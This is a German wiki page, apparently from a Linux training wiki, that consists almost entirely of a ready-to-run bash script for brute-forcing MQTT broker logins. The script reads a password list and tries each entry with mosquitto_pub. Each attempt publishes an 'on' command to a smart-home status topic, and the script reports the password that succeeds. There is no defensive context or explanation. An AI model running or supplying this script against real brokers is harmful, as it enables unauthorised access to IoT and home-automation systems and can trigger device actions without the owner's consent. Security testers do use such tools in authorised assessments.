MQTT Brute Force

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
#!/bin/bash

# Initialisiere Variablen
while getopts ":h:u:f:" opt; do
  case $opt in
    h) HOST=$OPTARG ;;
    u) BENUTZER=$OPTARG ;;
    f) FILE=$OPTARG ;;
    \?) echo "Ungültige Option: -$OPTARG" >&2; exit 1 ;;
    :) echo "Option -$OPTARG benötigt ein Argument." >&2; exit 1 ;;
  esac
done

# Überprüfe, ob alle notwendigen Argumente gesetzt sind
if [ -z "$HOST" ] || [ -z "$BENUTZER" ] || [ -z "$FILE" ]; then
  echo "Verwendung: $0 -h HOST -u BENUTZER -f FILE"
  exit 1
fi

# Lies das Passwort-File Zeile für Zeile und versuche, sich mit jedem Passwort anzumelden
while read -r PASS; do
  if mosquitto_pub -h "$HOST" -u "$BENUTZER" -P "$PASS" -t home/livingRoom/status -m "on" 2> /dev/null; then
    echo "Das Passwort ist: $PASS"
    exit 0
  fi
done < "$FILE"